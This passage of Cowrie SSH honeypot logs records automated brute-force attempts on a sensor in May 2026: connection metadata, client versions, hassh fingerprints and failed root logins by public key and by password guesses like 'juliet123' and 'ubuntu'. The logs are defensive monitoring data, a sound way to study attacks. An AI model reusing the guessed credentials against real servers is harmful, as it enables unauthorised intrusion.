-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.051007Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:bb:29:1c:23:1c:21:34:df:51:be:c9:7d:80:5c:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCos+s5SB3QiXwi8yx8YnX057YCtRmlHG4pO7VcR7bDwnlJMvcyaorAz+ZhAfZuXAwDWV0MIxcnWc7+62kOkb9sZRvyC6VkdCol0Nroukzsdq0CXsr2xaexZg2ZwcbN90fmXg3QuUtVtJx4onSQQoDMhPoYrnWZp9iHBoL/m+qnwW1ZB7eGhEXKnd2vzzEYGLi7W8ViuynH2ELRCBco/0mncRFZGObNCi4kiRw+1nAjG0fv2QuHEeJhGltHmGMdMKPP/1HD83/+Yd0XAODgFZZ0tv676i64K8hDZ5qI+ji9Qy0xN8jC1SgIUdZoRxm7Fzcg/WeYuO8lFjKWSPC+kJDz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:bb:29:1c:23:1c:21:34:df:51:be:c9:7d:80:5c:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.140837Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:bb:29:1c:23:1c:21:34:df:51:be:c9:7d:80:5c:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCos+s5SB3QiXwi8yx8YnX057YCtRmlHG4pO7VcR7bDwnlJMvcyaorAz+ZhAfZuXAwDWV0MIxcnWc7+62kOkb9sZRvyC6VkdCol0Nroukzsdq0CXsr2xaexZg2ZwcbN90fmXg3QuUtVtJx4onSQQoDMhPoYrnWZp9iHBoL/m+qnwW1ZB7eGhEXKnd2vzzEYGLi7W8ViuynH2ELRCBco/0mncRFZGObNCi4kiRw+1nAjG0fv2QuHEeJhGltHmGMdMKPP/1HD83/+Yd0XAODgFZZ0tv676i64K8hDZ5qI+ji9Qy0xN8jC1SgIUdZoRxm7Fzcg/WeYuO8lFjKWSPC+kJDz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.144957Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:d2:58:b1:a7:21:ec:cb:49:1d:06:60:d8:e0:39:90","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB8G8BMSYdvQ9wPqebV+Dols+VFXK7SkNm0uAGMQ7tFE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c3:d2:58:b1:a7:21:ec:cb:49:1d:06:60:d8:e0:39:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.167090Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:d2:58:b1:a7:21:ec:cb:49:1d:06:60:d8:e0:39:90","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB8G8BMSYdvQ9wPqebV+Dols+VFXK7SkNm0uAGMQ7tFE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.170891Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:22:6e:62:8b:93:a6:c0:a8:bf:c9:1a:5d:57:7d:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfSV0fzsPnmholGhTM/OxXqpGbHP6gFeDyq3dcDb67gSVnXCAqEDlYu7ktegY0lVf1F9uYSSLaxb0fOYWo5L1/Urqok4ltZTTpo2LY9dy2i6seM8b6+Fd/+9COx4ejmM7JX6iwPta+0MNccOX6Yw+WslrjVLxmAXVfPA3SMVpSvAisvHvt+W2nFI86wsWgfSV49tRIGz9fHYdDFqq9LUXnDfslCXjeieKEoU4NWiDp/+m0OSV25Uk6b6DYwPbvalEiFw/4J2RkJBw/OwMaHlk86aY0NtugWLLgYn9ZvEiIT1QQnb8ylOzSEne2kvDEE2w7Bu4w+oddz2UZXh9aEAtzmFGgpI4szO18cutzCi/dmkmC37L1NLxrI+PQDZCVY8cX49soGPclK3LobrsvL9b6kUlHAGUtHDP0tCw5urKWlMgKUPlejBPqGgEaI/Srz9NYI5+Z2ALh0USUBrg2IxNYVL4eFO8/c8psOzZpvG8R99rkQTENsSemTWyhonKxRy8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:22:6e:62:8b:93:a6:c0:a8:bf:c9:1a:5d:57:7d:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.192991Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:22:6e:62:8b:93:a6:c0:a8:bf:c9:1a:5d:57:7d:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCfSV0fzsPnmholGhTM/OxXqpGbHP6gFeDyq3dcDb67gSVnXCAqEDlYu7ktegY0lVf1F9uYSSLaxb0fOYWo5L1/Urqok4ltZTTpo2LY9dy2i6seM8b6+Fd/+9COx4ejmM7JX6iwPta+0MNccOX6Yw+WslrjVLxmAXVfPA3SMVpSvAisvHvt+W2nFI86wsWgfSV49tRIGz9fHYdDFqq9LUXnDfslCXjeieKEoU4NWiDp/+m0OSV25Uk6b6DYwPbvalEiFw/4J2RkJBw/OwMaHlk86aY0NtugWLLgYn9ZvEiIT1QQnb8ylOzSEne2kvDEE2w7Bu4w+oddz2UZXh9aEAtzmFGgpI4szO18cutzCi/dmkmC37L1NLxrI+PQDZCVY8cX49soGPclK3LobrsvL9b6kUlHAGUtHDP0tCw5urKWlMgKUPlejBPqGgEaI/Srz9NYI5+Z2ALh0USUBrg2IxNYVL4eFO8/c8psOzZpvG8R99rkQTENsSemTWyhonKxRy8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.197125Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:bb:ae:1d:f0:8a:46:cf:d7:dc:57:ae:08:3e:93:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCunbt1m17mpFIYq8rL9ZKSGrsGFXXvVvri/BudoHLFpAcdpp2xcseAZjGSzCAKu1bhxdqWnBw2dVGLijS8PZdeUYwbOchwBfNWFl1HTWQAFfwdXg5V5CJ0qLso0eMJE4MawvQabVUue9Mhe/sN9Wh5yuc2nUL+elg7j+svRwjLgMg38wl+ytnBG2WvpYfCRRSM6SpwvYA8zIvDd5k+6B1AfCrBSJRcpwZ5Kd1CS4T4vOeY/BCz43vikZOj6KcRUCTXQQIaV38jGBHQABIpwa2CczzdWMAkKqnze4AQfWfOn0G6xSAWMPzLE5+oEBX8NarLBihk/PB5Ik+0Qud1XXeC/EC7BFLPJVc5xqz8I2NQw8AEIL1Sq2EV82ua7Rw3ZIm/x5bAPwJYEdFL9gDWU3AUso5lrLOW3Yh9jQ9J0gJqJ9rUWJ1eYWi56jqw7CRyQg3ROFojbI82kWICtn44ORFYUx8hWmb0emqy2eWp9OXb/wP82PqYdQp6BUw5VZTNXoOPgXbgNlIu1n91mHPECsOytjkWZHABJdw5q2I3oQPkfSoig8CJGV2PJHmZc1kr7mPO13IaymG4rIis7gL0jnf5altzqm7Gf4eNmXSoHnTdBV95Rr0TXyHt+Ylu5gNKXIPf/9CGy07QRFUgCmGCqwL/e/aG+0UTxSu7m8Abyu242w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:bb:ae:1d:f0:8a:46:cf:d7:dc:57:ae:08:3e:93:23","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.220334Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:bb:ae:1d:f0:8a:46:cf:d7:dc:57:ae:08:3e:93:23","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCunbt1m17mpFIYq8rL9ZKSGrsGFXXvVvri/BudoHLFpAcdpp2xcseAZjGSzCAKu1bhxdqWnBw2dVGLijS8PZdeUYwbOchwBfNWFl1HTWQAFfwdXg5V5CJ0qLso0eMJE4MawvQabVUue9Mhe/sN9Wh5yuc2nUL+elg7j+svRwjLgMg38wl+ytnBG2WvpYfCRRSM6SpwvYA8zIvDd5k+6B1AfCrBSJRcpwZ5Kd1CS4T4vOeY/BCz43vikZOj6KcRUCTXQQIaV38jGBHQABIpwa2CczzdWMAkKqnze4AQfWfOn0G6xSAWMPzLE5+oEBX8NarLBihk/PB5Ik+0Qud1XXeC/EC7BFLPJVc5xqz8I2NQw8AEIL1Sq2EV82ua7Rw3ZIm/x5bAPwJYEdFL9gDWU3AUso5lrLOW3Yh9jQ9J0gJqJ9rUWJ1eYWi56jqw7CRyQg3ROFojbI82kWICtn44ORFYUx8hWmb0emqy2eWp9OXb/wP82PqYdQp6BUw5VZTNXoOPgXbgNlIu1n91mHPECsOytjkWZHABJdw5q2I3oQPkfSoig8CJGV2PJHmZc1kr7mPO13IaymG4rIis7gL0jnf5altzqm7Gf4eNmXSoHnTdBV95Rr0TXyHt+Ylu5gNKXIPf/9CGy07QRFUgCmGCqwL/e/aG+0UTxSu7m8Abyu242w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.223777Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:1e:21:2c:f5:4d:31:e3:6c:40:f0:59:18:cd:46:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpIPYZmCJ5s1VZwpFaF37MKsATTGPqTgIAQ0EnTmcUxK9cWFBPrrWbIIR7g0soldQEUBgDynEkViawGdGiJghb5D0FhDl3WSTI83+ciu5D1kPGT0LqeVbpN1ca14Ks0i4H66XnYVL33hgjZ9KuBXYhyKIJLJKkNssRD2muwwoLUnMk8gheed2klrR0ano9qttkMVk9WiVBybtiRO8RaQuC+EY0OuNLo2gOvkUcQ6RGdHeB5DABDDh9NzgAlA8KnoMj+gLDPZrEy7ZjgecuTGdiQUIL1Ne/XDNnYWC7MOFEwc6N8WVDfxPfrxqdEJlJ9m/HtvRVMks2Yysyj40ePyZg+op7MUhux5pOJ3KVFmGNYI7gfRsgpoCsR7je4XYHJ6A09DdzHQpVyf93PkiAx/cfbMq7FmPbJXy4h218AxuNxxDxMJUdAbSr/cRK+O4Q3nAvsROwQLpcGTEqUXU1WZf3/PwMYX/WZ/KhRqMw2w69mwAl9LNnpziy6L3DXv657a23aTwDvGT+8f+6scYQlg9xUzBeIH1VFDfnsrvZHkfL7pXXVc+MpmCGjtWxFlIgQ2LaQZ2Nrn1HovXa9+nuAwfYl3ucDDd7KZq+HF152/Fmm7Nk9N07rdaW8BY7jQQ3dcxmM8r5P+tx6hPo+m69U4K/lGd5DC2MAzctmpVGxtu/Sw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:1e:21:2c:f5:4d:31:e3:6c:40:f0:59:18:cd:46:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.247261Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:1e:21:2c:f5:4d:31:e3:6c:40:f0:59:18:cd:46:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpIPYZmCJ5s1VZwpFaF37MKsATTGPqTgIAQ0EnTmcUxK9cWFBPrrWbIIR7g0soldQEUBgDynEkViawGdGiJghb5D0FhDl3WSTI83+ciu5D1kPGT0LqeVbpN1ca14Ks0i4H66XnYVL33hgjZ9KuBXYhyKIJLJKkNssRD2muwwoLUnMk8gheed2klrR0ano9qttkMVk9WiVBybtiRO8RaQuC+EY0OuNLo2gOvkUcQ6RGdHeB5DABDDh9NzgAlA8KnoMj+gLDPZrEy7ZjgecuTGdiQUIL1Ne/XDNnYWC7MOFEwc6N8WVDfxPfrxqdEJlJ9m/HtvRVMks2Yysyj40ePyZg+op7MUhux5pOJ3KVFmGNYI7gfRsgpoCsR7je4XYHJ6A09DdzHQpVyf93PkiAx/cfbMq7FmPbJXy4h218AxuNxxDxMJUdAbSr/cRK+O4Q3nAvsROwQLpcGTEqUXU1WZf3/PwMYX/WZ/KhRqMw2w69mwAl9LNnpziy6L3DXv657a23aTwDvGT+8f+6scYQlg9xUzBeIH1VFDfnsrvZHkfL7pXXVc+MpmCGjtWxFlIgQ2LaQZ2Nrn1HovXa9+nuAwfYl3ucDDd7KZq+HF152/Fmm7Nk9N07rdaW8BY7jQQ3dcxmM8r5P+tx6hPo+m69U4K/lGd5DC2MAzctmpVGxtu/Sw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.251404Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:10.275002Z","src_ip":"198.50.140.215","session":"6f0a27282108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43666,"dst_ip":"10.17.0.5","dst_port":22,"session":"eff65a1a8282","protocol":"ssh","message":"New connection: 194.113.233.25:43666 (10.17.0.5:22) [session: eff65a1a8282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:33.196023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:33.201077Z","src_ip":"194.113.233.25","session":"eff65a1a8282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:33.294346Z","src_ip":"194.113.233.25","session":"eff65a1a8282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvfvskfhfve","message":"login attempt [root/vfvfvskfhfve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:33.573693Z","src_ip":"194.113.233.25","session":"eff65a1a8282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:34.669646Z","src_ip":"194.113.233.25","session":"eff65a1a8282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":33376,"dst_ip":"159.203.135.109","dst_port":22,"session":"76fbcad90e1c","protocol":"ssh","message":"New connection: 103.77.242.62:33376 (159.203.135.109:22) [session: 76fbcad90e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:49.463570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:49.468708Z","src_ip":"103.77.242.62","session":"76fbcad90e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:49.710030Z","src_ip":"103.77.242.62","session":"76fbcad90e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"juliet123","message":"login attempt [root/juliet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:50.435093Z","src_ip":"103.77.242.62","session":"76fbcad90e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":44756,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bd4c27095c2","protocol":"ssh","message":"New connection: 124.152.4.100:44756 (10.17.0.5:22) [session: 1bd4c27095c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:50.868988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:50.878717Z","src_ip":"124.152.4.100","session":"1bd4c27095c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:51.140633Z","src_ip":"124.152.4.100","session":"1bd4c27095c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:51.678950Z","src_ip":"103.77.242.62","session":"76fbcad90e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:51.925247Z","src_ip":"124.152.4.100","session":"1bd4c27095c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:53.190516Z","src_ip":"124.152.4.100","session":"1bd4c27095c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.152.4.100","src_port":44760,"dst_ip":"10.17.0.5","dst_port":22,"session":"a102150f1d30","protocol":"ssh","message":"New connection: 124.152.4.100:44760 (10.17.0.5:22) [session: a102150f1d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:53.477251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:53.481810Z","src_ip":"124.152.4.100","session":"a102150f1d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:53.757867Z","src_ip":"124.152.4.100","session":"a102150f1d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":5539,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0e07a4dc841","protocol":"ssh","message":"New connection: 213.209.159.56:5539 (10.17.0.5:22) [session: b0e07a4dc841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:54.251904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:59:54.256405Z","src_ip":"213.209.159.56","session":"b0e07a4dc841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hm